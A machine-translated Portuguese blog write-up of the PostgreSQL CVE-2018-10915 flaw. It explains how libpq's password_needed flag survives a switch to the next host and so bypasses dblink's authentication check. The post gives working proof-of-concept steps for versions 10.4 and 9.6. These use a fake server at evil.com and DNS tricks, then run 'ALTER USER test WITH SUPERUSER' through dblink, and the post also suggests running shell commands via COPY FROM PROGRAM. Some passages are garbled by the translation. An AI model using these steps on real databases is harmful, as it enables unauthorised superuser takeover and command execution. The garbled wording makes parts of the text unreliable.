Escalonamento de privilégios do PostgreSQL - análise CVE-2018-10915

KDPV

Não é nenhum segredo que carros estatais estão entre nós. Eles estão literalmente em toda parte, da interface do usuário à pilha de rede. Às vezes complexo, às vezes simples. Algumas vezes relacionadas à segurança, outras não muito. Mas, muitas vezes, é muito fascinante estudar :) Hoje, quero falar sobre um caso engraçado com o PostgreSQL - CVE-2018-10915 , que permitiu aumentar os privilégios para o superusuário.


Introdução pequena


Como você sabe, os bancos de dados gerenciados acompanham o mundo. Não é de surpreender - se você tem uma aplicação simples e não exigente, por que amaldiçoar com a preparação de sua própria base. De fato, com a maioria dos provedores de nuvem (ou especializados), você pode obter um banco de dados MySQL / PostgreSQL / MongoDB / etc e viver feliz para sempre. Obviamente, isso causou problemas adicionais, como se antes, para explorar a maioria dos problemas de segurança nos bancos de dados, você precisava primeiro obter o aplicativo (que por si só é game over na maioria dos casos), agora eles bunda nua sua interface fica para o atacante. Deve haver uma observação sobre o fato de que a próxima barreira deve ser uma infraestrutura de alta qualidade e isso é verdade, mas hoje não é sobre isso.


A essência do CVE-2018-10915


  • Na maioria dos casos, o PostgreSQL não requer autenticação para conexões locais. Um exemplo da imagem oficial do docker:

# pg_hba.conf from PostgreSQL docker image # note: debian pkg marked only "local" connections as trusted # "local" is for Unix domain socket connections only local all all trust # IPv4 local connections: host all all 127.0.0.1/32 trust # IPv6 local connections: host all all ::1/128 trust 

  • graças às extensões dblink e postgres_fdw , você pode conectar-se a bancos de dados remotos. E, a julgar pelos fóruns, os consumidores são frequentemente questionados sobre sua disponibilidade;)
  • os autores já foram gravados na escalada de privilégios e, portanto, fizeram um hack na proibição de conexões sem autenticação:

 // https://github.com/postgres/postgres/blob/0993b8ada53395a8c8a59401a7b4cfb501f6aaef/contrib/dblink/dblink.c#L2621-L2639 static void dblink_security_check(PGconn *conn, remoteConn *rconn) { if (!superuser()) { if (!PQconnectionUsedPassword(conn)) { PQfinish(conn); if (rconn) pfree(rconn); ereport(ERROR, (errcode(ERRCODE_S_R_E_PROHIBITED_SQL_STATEMENT_ATTEMPTED), errmsg("password is required"), errdetail("Non-superuser cannot connect if the server does not request a password."), errhint("Target server's authentication method must be changed."))); } } } // https://github.com/postgres/postgres/blob/0993b8ada53395a8c8a59401a7b4cfb501f6aaef/src/interfaces/libpq/fe-connect.c#L6305-L6314 int PQconnectionUsedPassword(const PGconn *conn) { if (!conn) return false; if (conn->password_needed) return true; else return false; } 

  • o sinalizador password_needed é definido pela máquina de estado após receber uma mensagem AUTH_REQ_PASSWORD ou AUTH_REQ_PASSWORD do servidor
  • libpq pode ignorar vários IPs (página 9.x) ou hosts (página 10.x / 11.x) em busca de um
  • a máquina de estado passa para o próximo IP / host depois de definir o sinalizador password_needed em dois casos convenientes para nós:
    • queremos uma sessão gravável ( target_session_attrs=read-write ) e o servidor é somente leitura
    • ao receber um erro unknown application_name
  • ao passar para o próximo IP / host, é chamado pqDropConnection , que limpa seletivamente os dados da conexão (já que alguns deles podem ser necessários para a reconexão). Dica: password_needed não redefinido
  • isso permite ignorar a verificação dblink_security_check, como quando conectado ao próximo host, o sinalizador permanece com o valor anterior
  • LUCRO

Portanto, se tivermos algum usuário com acesso ao dblink e ao PostgreSQL com conexões confiáveis ​​para esse host, podemos ignorar o requisito de autenticação com uma senha, conectar-se em nome do supervisor do postgres e executar qualquer coisa em seu nome (por exemplo, comandos arbitrários usando COPY foo FROM PROGRAM 'whoami'; ).


Da teoria à prática - PostgreSQL 10.4!


Mas você não vai se cansar de apenas uma teoria, então preparei um pequeno exemplo de exploração dessa vulnerabilidade. Começaremos com o PostgreSQL 10.4.


  • Primeiro, escreva e execute um servidor PostgreSQL simples ( bogus-pgsrv ), que exigirá autenticação de senha para qualquer solicitação e enviará um erro ERRCODE_APPNAME_UNKNOWN após recebê- ERRCODE_APPNAME_UNKNOWN :

 $ psql "host=evil.com user=test password=test application_name=bar" psql: ERROR: unknown app name could not connect to server: Connection refused Is the server running on host "evil.com" (1.1.1.1) and accepting TCP/IP connections on port 5432? 

  • Agora prepare o teste do PostgreSQL:

 $ docker run -it -d -p 5432:5432 -e POSTGRES_PASSWORD=somepass postgres:10.4 e5f07b396d51059c3abf53c8f4f78b0b90a9966289e6df03eb4eccaeeb364545 $ psql "host=localhost user=postgres password=somepass" <<'SQL' CREATE USER test WITH PASSWORD 'test'; CREATE DATABASE test; \c test CREATE EXTENSION dblink; SQL 

  • verificamos se o test usuário não possui direitos específicos:

 $ psql "host=localhost user=test password=test" <<'SQL' \du SQL List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test 

  • excelente, agora operamos:

 $ psql "host=localhost user=test password=test" <<'SQL' select * from dblink_connect('host=evil.com,localhost user=postgres password=foo application_name=bar'); select dblink_exec('ALTER USER test WITH SUPERUSER;'); \du SQL dblink_connect ---------------- OK (1 row) dblink_exec ------------- ALTER ROLE (1 row) List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test | Superuser 

  • só isso. Podemos fazer o que quisermos ^ _ ^

Da teoria à prática - PostgreSQL 9.6!


Com o PostgreSQL 9.x, as coisas ficam um pouco mais complicadas, porque ele não suporta enumerar a lista de hosts aos quais se conectar. Mas se o endereço se resolver em vários IPs, ignorará todos eles! E desde Os endereços IPv6 têm prioridade (consulte RFC6724 ); podemos fazer o mesmo respondendo nossos IPs a uma solicitação AAAA e 127.0.0.1 a A + descartando conexões por alguns segundos após enviar ERRCODE_APPNAME_UNKNOWN :


  • prepare o DNS:

 $ host 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com has address 127.0.0.1 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com has IPv6 address 2a01:7e01::f03c:91ff:fe3b:c9ba 

  • execute o mesmo pgsql falso
  • e prepare o PostgreSQL de teste novamente (o IPv6 deve funcionar para o docker, isso é importante):

 $ docker run -it -d -p 5432:5432 -e POSTGRES_PASSWORD=somepass postgres:9.6 dfda35ab80ae9dbd69322d00452b7d829f90874b7c70f03bd4e05afec97d296c $ psql "host=localhost user=postgres password=somepass" <<'SQL' CREATE USER test WITH PASSWORD 'test'; CREATE DATABASE test; \c test CREATE EXTENSION dblink; SQL 

  • nós operamos:

 $ psql "host=localhost user=test password=test" <<'SQL' select * from dblink_connect('host=2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com user=postgres password=foo application_name=bar'); select dblink_exec('ALTER USER test WITH SUPERUSER;'); \du SQL dblink_connect ---------------- OK (1 row) dblink_exec ------------- ALTER ROLE (1 row) List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test | Superuser | {} 

  • só isso. Podemos fazer o que quisermos ^ _ ^

Conclusão


Queria concluir escrevendo algo inteligente, mas, infelizmente, não tenho uma maneira boa, simples e universal de verificar se está tudo bem com sua máquina de estado. Existem várias tentativas, mas, pelo que vi, elas são muito especializadas ou ainda lidam com erros lógicos da mesma maneira. Resta esperança de vigilância e um par de olhos adicionais na revisão :(

Source: https://habr.com/ru/post/pt440394/


All Articles